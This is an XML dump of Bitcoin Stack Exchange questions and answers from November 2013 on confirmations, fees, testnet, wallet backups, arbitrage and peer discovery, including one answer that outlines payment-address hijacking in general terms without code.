  <row Id="14359" PostTypeId="2" ParentId="1170" CreationDate="2013-11-05T15:16:10.963" Score="10" Body="&lt;p&gt;The figure of 6 blocks is completely arbitrary. It is based on the assumptions that the attacker will not amass more than 10% of the network hashrate, and that a negligible chance of 0.1% for successfully double-spending is acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more detailed analysis of this is available at &lt;a href=&quot;https://bitcoil.co.il/Doublespend.pdf&quot;&gt;Analysis of Hashrate-Based Double-Spending&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-05T15:16:10.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14360" PostTypeId="1" CreationDate="2013-11-05T15:53:43.883" Score="4" ViewCount="284" Body="&lt;p&gt;I'm fairly new to bitcoin and today I sent 1 satoshi to my own adress using the standard wallet, and I was surprised that I couldn't do it without paying a 0.005 BTC (I think, can't remember the exact value) transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I knew transaction fee's were supposed to be voluntary, when did this get added? Is there no way to transfer bitcoins for free anymore? &lt;/p&gt;&#xA;" OwnerUserId="2205" LastActivityDate="2013-11-05T16:24:30.547" Title="Obligatory transaction fee?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14361" PostTypeId="1" AcceptedAnswerId="14418" CreationDate="2013-11-05T16:07:57.953" Score="2" ViewCount="10514" Body="&lt;p&gt;What is a &quot;share rate&quot; one can find in a mining pool dashboard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand what a hash-rate is, and how that applies to myself (miner), as well as to the pool or the network. I also understand to some degree what shares of a block being mined are. But what is then the shown share rate (shown as a value between 0 and 1, as well as in shares/s).&lt;/p&gt;&#xA;" OwnerUserId="7521" LastEditorUserId="7521" LastEditDate="2013-11-06T22:17:48.007" LastActivityDate="2013-11-07T13:07:50.730" Title="What is a &quot;share rate&quot;?" Tags="|mining-pools|hash|mining-pool-shares|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14363" PostTypeId="1" AcceptedAnswerId="14378" CreationDate="2013-11-05T16:13:51.983" Score="3" ViewCount="291" Body="&lt;p&gt;How many coins been mined on the &lt;strong&gt;Testnet&lt;/strong&gt;? &#xA;How can I check how many coins have been mined? &lt;/p&gt;&#xA;" OwnerUserId="7433" LastEditorUserId="56167" LastEditDate="2017-07-26T09:17:04.653" LastActivityDate="2017-07-26T09:17:04.653" Title="How many coins been mined on the Testnet?" Tags="|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14364" PostTypeId="2" ParentId="14360" CreationDate="2013-11-05T16:24:30.547" Score="1" Body="&lt;p&gt;Transaction fees are voluntary but the client application is forcing the minimum transaction amount of .005.  It's been a long time since I've used the standard client.  .005 sounds correct.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-11-05T16:24:30.547" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14365" PostTypeId="2" ParentId="12306" CreationDate="2013-11-05T16:40:13.457" Score="2" Body="&lt;p&gt;I think its because you are not supposed to play blockchain spam type dice games with online wallets. Since when you win, the winnings goto whatever address it was sent from. Therefore, it may not end up back in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the games are like this, most even have a list of &quot;compatible wallets&quot;. I think the only online one that will work is the one ar blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another rule of thumb, if you don't have access to the private key, you shouldn't use the address to gamble with&lt;/p&gt;&#xA;" OwnerUserId="7525" LastActivityDate="2013-11-05T16:40:13.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14367" PostTypeId="1" CreationDate="2013-11-05T16:49:07.747" Score="1" ViewCount="146" Body="&lt;p&gt;I ask to buy for 253, price drops below, the transaction does not go through, and it goes up again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanation anyone? or is this something i should ask the mt.gox staff?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gB1YO.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7494" LastActivityDate="2013-11-09T19:58:21.177" Title="Why doesn't my transaction go through?" Tags="|transactions|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14368" PostTypeId="1" CreationDate="2013-11-05T16:51:52.893" Score="2" ViewCount="3009" Body="&lt;p&gt;I could have sworn when i tried withdrawing BTC to my local BTC wallet i set the fee to 0.005&#xA;The blockchain shows no fee was paid and the transaction is hanging with 0 confirmations.&#xA;I really am trying to get this BTC ASAP. &#xA;Any ideas? Here is the transaction link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/0b30583b830a7ee674dd92f0a22b3d4b21c81b5f80687b2ad2e6b951a64ef4e2&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/0b30583b830a7ee674dd92f0a22b3d4b21c81b5f80687b2ad2e6b951a64ef4e2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: the transaction seems to be moving BACK in the queue &lt;/p&gt;&#xA;" OwnerUserId="7527" LastEditorUserId="7527" LastEditDate="2013-11-05T17:05:57.303" LastActivityDate="2013-11-05T17:05:57.303" Title="Bitcoin transaction stuck as unconfirmed with no fee" Tags="|transactions|transaction-fees|unconfirmed-transactions|" AnswerCount="0" CommentCount="4" ClosedDate="2015-10-03T05:52:09.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="14371" PostTypeId="1" CreationDate="2013-11-05T20:44:15.707" Score="27" ViewCount="23241" Body="&lt;p&gt;I've seen references to both strewn around. Specifically, is there a bitcoin client running at the DNS seeds or seed nodes?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="47827" LastEditDate="2021-09-06T19:34:06.927" LastActivityDate="2021-09-06T19:53:35.047" Title="What is a DNS seed node vs a Seed Node?" Tags="|p2p|peer-discovery|dns|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14372" PostTypeId="1" CreationDate="2013-11-05T21:00:48.307" Score="1" ViewCount="1523" Body="&lt;p&gt;Could anyone tell me please if it is possible to run two versions of the Bitcoin qt client independently on the same pc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is that I wish to make a bitcoin gift to someone on a USB memory stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I run a fresh wallet, send some Bitcoin to it, then move the whole thing onto a USB stick for the other person to use at some point in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that sound sensible or is there a better way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have and run my own wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The person concerned doesn't have a pc of their own at the present time. Any help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7532" LastEditorUserId="5406" LastEditDate="2013-11-05T22:13:23.097" LastActivityDate="2013-11-09T19:45:48.590" Title="Advice on running two wallets please" Tags="|wallet|backup|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14374" PostTypeId="2" ParentId="14372" CreationDate="2013-11-05T22:22:10.513" Score="2" Body="&lt;p&gt;You don't need to be running two wallets at the same time. Funds can be received while offline. Do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a backup of your current wallet.&lt;/li&gt;&#xA;&lt;li&gt;While Bitcoin-QT is NOT running, remove your wallet from the Bitcoin-QT folder.&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin-QT and create a new wallet.&lt;/li&gt;&#xA;&lt;li&gt;Copy a receiving address from the new wallet to somewhere.&lt;/li&gt;&#xA;&lt;li&gt;Close Bitcoin-QT and move the new wallet to the USB stick.&lt;/li&gt;&#xA;&lt;li&gt;Restore your Wallet backup, and start Bitcoin-QT&lt;/li&gt;&#xA;&lt;li&gt;Send the amount to be gifted to the receiving address you saved before.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-11-05T22:22:10.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14378" PostTypeId="2" ParentId="14363" CreationDate="2013-11-06T00:01:00.593" Score="3" Body="&lt;p&gt;By visiting &lt;a href=&quot;http://blockexplorer.com/testnet&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/testnet&lt;/a&gt; you can browse the testnet blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of this writing, it shows that 128558 blocks have been mined on the current iteration of testnet (testnet3).  Since each block has a reward of 50 BTC (it has not decreased), that's a total of 6427900 BTC mined to date on testnet.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-11-06T00:01:00.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14380" PostTypeId="2" ParentId="14195" CreationDate="2013-11-06T00:59:50.850" Score="17" Body="&lt;p&gt;No, you were not defrauded because you did not lose anything real.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You did not lose 10 BTC.&lt;/li&gt;&#xA;&lt;li&gt;You did not lose $1,556.76.&lt;/li&gt;&#xA;&lt;li&gt;You lost potential, yet unrealized gain as a result of the &lt;em&gt;delay&lt;/em&gt; in processing your order.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You may have not had access to either amount for a period of time because of the flag thrown on your transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK, Coinbase does not publish its criteria for flagging transactions. Doing so would likely make it more difficult to detect transactions that would defraud &lt;em&gt;them&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to look at it is that this is not Coinbase's fault. Coinbase has to protect itself from both financial and legal liability. It can refuse to do business with anyone it so desires if it feels the transaction may not be made with legally obtained funds by people with whom it can legally conduct business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are unhappy with the delay, and that's enough of a transgression for you not to use Coinbase again, then that's your decision to make. However, this can happen with anyone as automated and needfully paranoid as Coinbase.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-06T00:59:50.850" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="14381" PostTypeId="1" CreationDate="2013-11-06T01:27:29.827" Score="0" ViewCount="3496" Body="&lt;p&gt;looking at the current prices of bitcoins in different currencies it seems as one could buy some in GBP and convert sell them to get USD, than convert those USD back into GBP and make some money. is it that easy? what am i missing? thanks!&lt;/p&gt;&#xA;" OwnerUserId="7535" LastActivityDate="2013-11-06T11:21:21.693" Title="arbitrage between currencies" Tags="|currencies|arbitrage|" AnswerCount="2" CommentCount="1" ClosedDate="2013-11-07T13:08:37.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="14383" PostTypeId="2" ParentId="14381" CreationDate="2013-11-06T02:05:20.160" Score="0" Body="&lt;p&gt;Make sure you are factoring in taxes and fees charges by the exchanges. Although, if you were to sell on localcoins it would be less expensive to transact in multiple currencies and you save on exchange/broker fees.&#xA;But it is basically that easy afaik. Just like any other currency trading (including forex) some currencies are worth more than others at a particular point in time.&#xA;&lt;strong&gt;&lt;em&gt;You should also ask yourself if your method of transaction is fast enough to do this kind of trade and make the profit you expected&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, in the last few weeks people Have been buying XBT with USD and selling XBT for CNY at a premium and then converting that CNY to USD and making a nice chunk of change. &#xA;The reason for this is that Chinese citizens have limited access to USD and because most XBT exchanges transact in USD the Chinese can not buy XBT easily. Therefor the chinese pay a premium for their XBT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about trying your hand at alt-coin trading on a minimal investment... Say $10 USD. You can learn a lot about these systems of exchange, including where to get XBT cheaper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XBT = BitCoin &lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2013-11-06T02:05:20.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14384" PostTypeId="2" ParentId="14358" CreationDate="2013-11-06T02:31:01.047" Score="1" Body="&lt;p&gt;I am not sure if there are verified reports, but I would be shocked if there were not any man in the middle attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's super simple to do. Compromise the vendors payment processing (exploit a security hole on the vendors web werver. if the wallet address is generated from a local bitcoin instance, an atacker could point the address generation code away from the vendors instance and towards their own malicious bitcoin instance... Or the malicious user could just hard code their own address in to the payment processing. Depends on how intricate it needs to be. You could even compromise the vendor by having a copy of their wallet, watching silently for a large transaction then running once you find a big haul of coins.) you could compromise their payment gateway api and have it redirect to you(or your coin address) instead of the vendors address. or if they use email: simply compromise the communication protocol (email/web support ticket/etc) and replace the merchants address with yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A script kiddie sadly could (and probably has) executed one or all of these methods of attack... There's a ton of ways to do it. Those are just a few off the top of my head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be safe. Do not try any of this! This information is posted so you get an idea of what to keep in mind.&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2013-11-06T02:31:01.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14386" PostTypeId="2" ParentId="6055" CreationDate="2013-11-06T03:48:50.600" Score="3" Body="&lt;p&gt;I use &lt;a href=&quot;https://ititch.com/&quot; rel=&quot;nofollow&quot;&gt;IT Itch&lt;/a&gt;. They allow both anonymous domain registration and bitcoin payments. I also use them for my VPS web hosting and I find them pretty fantastic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But be aware that some domain names can't be purchased anonymously. For instance, some domain registries require things like tax numbers or proof of citizenship, so make sure you choose a domain that supports anonymity (like .com, .net).&lt;/p&gt;&#xA;" OwnerUserId="7539" LastActivityDate="2013-11-06T03:48:50.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14387" PostTypeId="1" CreationDate="2013-11-06T09:09:34.340" Score="1" ViewCount="293" Body="&lt;p&gt;In Ripple, bridges often encode a Bitcoin address as an InvoiceID in a transaction. According to &lt;a href=&quot;https://ripple.com/wiki/Services_API#Payments&quot; rel=&quot;nofollow&quot;&gt;Services API wiki page&lt;/a&gt;, InvoiceID is represented as UInt256, so it should be padded. Which is the standard way of padding the InvoiceID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, having an address in hex form - &lt;code&gt;00010966776006953D5567439E5E39F86A0D273BEED61967F6&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;According to &lt;a href=&quot;https://gist.github.com/justmoon/5886477&quot; rel=&quot;nofollow&quot;&gt;this code&lt;/a&gt;, the address should be padded on the right, like &lt;code&gt;00010966776006953D5567439E5E39F86A0D273BEED61967F60000000000000000000000&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If one submits a transaction to rippled without the padding, it gets padded on the left, like &lt;code&gt;000000000000000000000000010966776006953D5567439E5E39F86A0D273BEED61967F6&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-11-06T09:09:34.340" Title="What is the standard InvoiceID for a Ripple Bitcoin bridge?" Tags="|transactions|ripple|address|ripple-gateways|" AnswerCount="0" CommentCount="2" ClosedDate="2019-07-17T21:15:30.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="14388" PostTypeId="2" ParentId="13914" CreationDate="2013-11-06T09:22:18.197" Score="0" Body="&lt;p&gt;Just to add some useful information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The jsonRPCClient does not return any useful information on errors, and all errors will just return the &lt;em&gt;could not connect&lt;/em&gt; message. This is because bitcoind returns a HTTP error status code that's not 2xx. This is awful for debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made a few hacky changes to the jsonRPCClient to get around this. What you need to do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add *'ignore_errors' =&gt; true* to the $opts array&lt;/li&gt;&#xA;&lt;li&gt;Change the error line that throws &lt;em&gt;Request error&lt;/em&gt; to read &lt;em&gt;throw new Exception('Request error: '.$response['error']['code'].' - '.$response['error']['message']);&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The latter change inparticular makes the jsonRPCClient specific to bitcoind, but it shouldn't be assuming that error is a string anyway.&lt;/p&gt;&#xA;" OwnerUserId="5696" LastActivityDate="2013-11-06T09:22:18.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14389" PostTypeId="1" CreationDate="2013-11-06T09:29:12.250" Score="6" ViewCount="1010" Body="&lt;p&gt;My gethashespersec is 4806082,  on the TestNet what is my real chance to find a block ? &lt;/p&gt;&#xA;" OwnerUserId="7433" LastActivityDate="2013-12-02T11:20:29.570" Title="What is my chance to find a block on a TestNet ?" Tags="|testnet|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14391" PostTypeId="2" ParentId="14381" CreationDate="2013-11-06T11:21:21.693" Score="0" Body="&lt;p&gt;What you are suggesting is called Triangular Arbitrage.&#xA;Some info are on the wiki page: &lt;a href=&quot;https://en.wikipedia.org/wiki/Triangular_arbitrage&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Triangular_arbitrage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is interesting and if the processus is faster enough it should be without any (or just few) risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be quite simple to automatize the processus of searching for necessary conditions and suggest to the user how to trade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I had the same idea and I found some interesting videos about this kind of trade on youtube, but I did not bookmarked them so I cannot link them now. I'll try to find them later.&lt;/p&gt;&#xA;" OwnerUserId="6226" LastActivityDate="2013-11-06T11:21:21.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14392" PostTypeId="1" AcceptedAnswerId="14393" CreationDate="2013-11-06T11:48:34.163" Score="4" ViewCount="238" Body="&lt;p&gt;(I may have horribly misunderstood PoS, so be gentle!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading about PoS, the general idea seems to be that each miner has a &quot;hit rate&quot; proportional to their coins / total coins in the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if there is a reward (generation, fees, etc.) for successfully mining a block, we seem to have a positive feedback loop. A richer miner has more chance of solving a block and so their wealth would increase at a greater rate than a poorer miner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this means that the richest miner in the system only needs to keep mining till they are rich enough to mount a 51% attack?&lt;/p&gt;&#xA;" OwnerUserId="7548" LastEditorUserId="5406" LastEditDate="2016-04-17T18:57:15.800" LastActivityDate="2016-04-17T18:57:15.800" Title="Does Proof of Stake Lead to a Positive Feedback Loop?" Tags="|alternatives|mining-reward|majority-attack|proof-of-stake|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14393" PostTypeId="2" ParentId="14392" CreationDate="2013-11-06T12:24:15.853" Score="5" Body="&lt;p&gt;Even if the dynamics are interpreted in the most basic way, it does not lead to this positive feedback, rather it maintains the status quo. If there are miners with stake of 40%, 30% and 30%, they will get 40%, 30% and 30% of the rewards respectively, so the ratios will remain at 40%, 30%, 30%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if they start with 40, 30, 30 BTC, and 10 new coins are generated, they will be distributed 4, 3, 3, so the new wealth will be 44, 33, 33, which is still a ratio of 40%, 30%, 30%.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-06T12:24:15.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14394" PostTypeId="2" ParentId="8111" CreationDate="2013-11-06T15:48:53.243" Score="5" Body="&lt;p&gt;As of November 2013, Bitcoin-qt generates a QR code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the Addresses button at the top of the window, highlight the wallet address you want, and then click the &quot;Show QR Code&quot; button at the bottom of the window. Add a message, if you want, or not, and then click the &quot;Save As&quot; button. It will be saved as a PNG image file.&lt;/p&gt;&#xA;" OwnerUserId="7551" LastActivityDate="2013-11-06T15:48:53.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14397" PostTypeId="2" ParentId="11658" CreationDate="2013-11-06T17:03:33.537" Score="1" Body="&lt;p&gt;To double check, the genesis block for testnet3 (the current version as of this writing) has hash &lt;code&gt;000000000933ea01ad0ee984209779baaec3ced90fa3f408719526f8d77f4943&lt;/code&gt;.  So with the daemon running, you can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt; bitcoind -testnet getblock 000000000933ea01ad0ee984209779baaec3ced90fa3f408719526f8d77f4943&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are really on testnet3, you should see &quot;height: 0&quot; in the output.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-11-06T17:03:33.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14398" PostTypeId="2" ParentId="14190" CreationDate="2013-11-06T17:11:27.820" Score="4" Body="&lt;p&gt;I wish I could find the post in which he stated it, but there's an assertion called &lt;strong&gt;Garzik's Theory&lt;/strong&gt; which states (paraphrased) that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All forks of Bitcoin in any form -- Litecoin, etc. -- will eventually be merged back into Bitcoin if their parameter modifications prove superior to those of Bitcoin itself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is because all Bitcoin derivatives must be open source. It's &lt;em&gt;legally&lt;/em&gt; possible to &lt;em&gt;port&lt;/em&gt; enhancements back to Bitcoin. If Litecoin's quicker block time proves more desirable than Bitcoin's, then Bitcoin &lt;em&gt;can&lt;/em&gt; modify its parameters accordingly. This can happen with anything else, and other currencies are free to change parameters at any time. Getting users to accept those changes is a challenge that software alone cannot address!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not mean that there would be some kind of automated exchange, e.g. a currency adoption feature in which one sends all of their Litecoins to some black hole address and receives Bitcoins out of nowhere in return.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-06T17:11:27.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14399" PostTypeId="1" AcceptedAnswerId="14433" CreationDate="2013-11-06T17:13:29.637" Score="-1" ViewCount="169" Body="&lt;p&gt;Can I get to know how many orders are placed at a particular price (bid or ask) on an exchange (like Mt.Gox, Bitstamp etc.)? There might be a wall of 1000 BTCs - do I know if this is a single order or 100 smaller orders? I am asking because this has to do something with a stability of an order book... a single big order can be removed quickly and destabilize the market in my opinion.&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="3120" LastEditDate="2013-11-07T07:08:45.880" LastActivityDate="2013-11-07T19:55:19.627" Title="Number of orders at price X in bitcoin exchange's order book" Tags="|mtgox|buy-bitcoins|sell-bitcoins|bitstamp|exchange-order|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14400" PostTypeId="2" ParentId="14399" CreationDate="2013-11-06T17:26:36.520" Score="0" Body="&lt;p&gt;Google Market Depth, and you'll find plenty of them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally use &lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.clarkmoody.com/&lt;/a&gt; for MtGox.&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2013-11-06T17:26:36.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14401" PostTypeId="1" CreationDate="2013-11-06T17:43:12.463" Score="2" ViewCount="2355" Body="&lt;p&gt;I had a Bitcoin wallet with come coins, backed it up (have the .dat file and a .csv file) but recently had to reinstall my Operating system which sadly wiped all my programs.  Now I have a new wallet but do not know how to access my coins using the .dat...  any hints?  &lt;/p&gt;&#xA;" OwnerUserId="7553" LastActivityDate="2013-11-06T19:51:05.963" Title="How to use Backup .dat?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-09T03:34:09.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="14404" PostTypeId="2" ParentId="14401" CreationDate="2013-11-06T19:51:05.963" Score="1" Body="&lt;p&gt;Find where you wallet file is located which will be different depending on which operating system your using. Then replace the new &lt;code&gt;wallat.dat&lt;/code&gt; file with your old one. If you haven't downloaded the block chain yet, then just start up Bitcoin-qt and once it downloads your coins will be in your wallet. Otherwise you will need to re-scan the blockchain at which point your wallet will have your bitcoins in it. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-06T19:51:05.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14406" PostTypeId="1" AcceptedAnswerId="14411" CreationDate="2013-11-06T20:43:33.033" Score="9" ViewCount="14137" Body="&lt;p&gt;When user A sends Bitcoins to user B, user A signs the transaction with his private key. This signed transaction is being sent to the Bitcoin network and all the nodes collect, confirm and pack these transactions to blocks by mining. Is that right so far? But what exactly happens at the confirmation. What are the nodes doing? I can't imagine what confirmation means technically. Does the transaction contain the public key and the nodes look if they can decrypt the transaction with this public key or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what does it mean to wait 6 confirmations or more? (see &lt;a href=&quot;http://bitcoin.org/en/vocabulary#confirmation&quot; rel=&quot;noreferrer&quot;&gt;http://bitcoin.org/en/vocabulary#confirmation&lt;/a&gt;). Why should one wait for a confirmation and how can one decide how many confirmations to wait? This is very unclear to me (Bitcoin newbie). The tooltip here tells me &quot;&lt;em&gt;the more confirmations a transaction has, the more likely that it will remain in the chain permanently&lt;/em&gt;&quot;. Why do I want my transaction to remain in the chain?&lt;/p&gt;&#xA;" OwnerUserId="7556" LastActivityDate="2018-01-12T18:19:23.083" Title="How does confirmation exactly work?" Tags="|confirmations|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14408" PostTypeId="1" CreationDate="2013-11-06T21:01:48.483" Score="0" ViewCount="1602" Body="&lt;p&gt;When I call url http://block-explorer.com/address/[my address]&#xA;to see how many litecoin Received by that address, How do I know how many confirmations it has ? &lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2014-03-11T06:00:15.557" Title="How many confirmations in litecoin block explorer" Tags="|litecoin|blockexplorer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14409" PostTypeId="1" AcceptedAnswerId="14414" CreationDate="2013-11-06T23:10:37.750" Score="1" ViewCount="7753" Body="&lt;p&gt;Once I have the 9+ Gb bootstrap.dat file downloaded, how do I use it? I'd like to attempt mining without joining a pool; do I have the right file for a solo effort? I can use Windows or Linux so either one in the answer will be fine.&lt;/p&gt;&#xA;" OwnerUserId="7563" LastEditorUserId="5406" LastEditDate="2016-04-28T12:48:46.953" LastActivityDate="2016-04-28T12:48:46.953" Title="How do I use the blockchain file bootstrap.dat?" Tags="|blockchain|synchronization|solo-mining|bootstrap.dat|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14410" PostTypeId="1" AcceptedAnswerId="14416" CreationDate="2013-11-07T00:17:13.857" Score="5" ViewCount="4117" Body="&lt;p&gt;I've seen a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3536/how-bitcoin-clients-find-each-other&quot;&gt;few questions&lt;/a&gt; about this already and they talk in generalities. I'm talking about specifics. If I start the bitcoin client from scratch, where in the source code does it actually add nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.sipa.be/seeds.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoin.sipa.be/seeds.txt&lt;/a&gt; seems to be a list of known clients, which is fine, but where in source does it connect. If I wanted to create my own private network, how would I accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's just one client on the network, is that client still doing all of the work that bitcoin does? Mining, etc.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-03-20T04:23:07.937" Title="How does bitcoin find peers?" Tags="|peer-discovery|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-13T21:51:27.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="14411" PostTypeId="2" ParentId="14406" CreationDate="2013-11-07T00:33:51.640" Score="5" Body="&lt;p&gt;Each node checks that a transaction is valid when they learn about it. Nodes check that the used funds exist, and that they have been correctly signed for. You can think of the address as locking the funds to a specific private key. The owner authenticates themselves by using this private key to generate a signature. Private Key and address form an &lt;a href=&quot;https://bitcoin.stackexchange.com/a/13281/5406&quot;&gt;asymmetric key pair&lt;/a&gt;, so everyone that knows the address that the funds were previously sent to can verify the authenticity of a signature. Miners then collect transactions, and include them in blocks. When a transaction appears in a valid block, the transaction is considered to be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When additional blocks are found, they build upon the longest chain that is known to the mining node. As long as there are only very few blocks stacked on top of the block in chain A that confirmed our observed transaction, there might still exist a competing chain B that could overtake and obsolete those blocks. If B contains a transaction that is at odds with our observed transaction, the observed transaction might yet be invalidated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each block, after the observed transaction has been confirmed, significantly 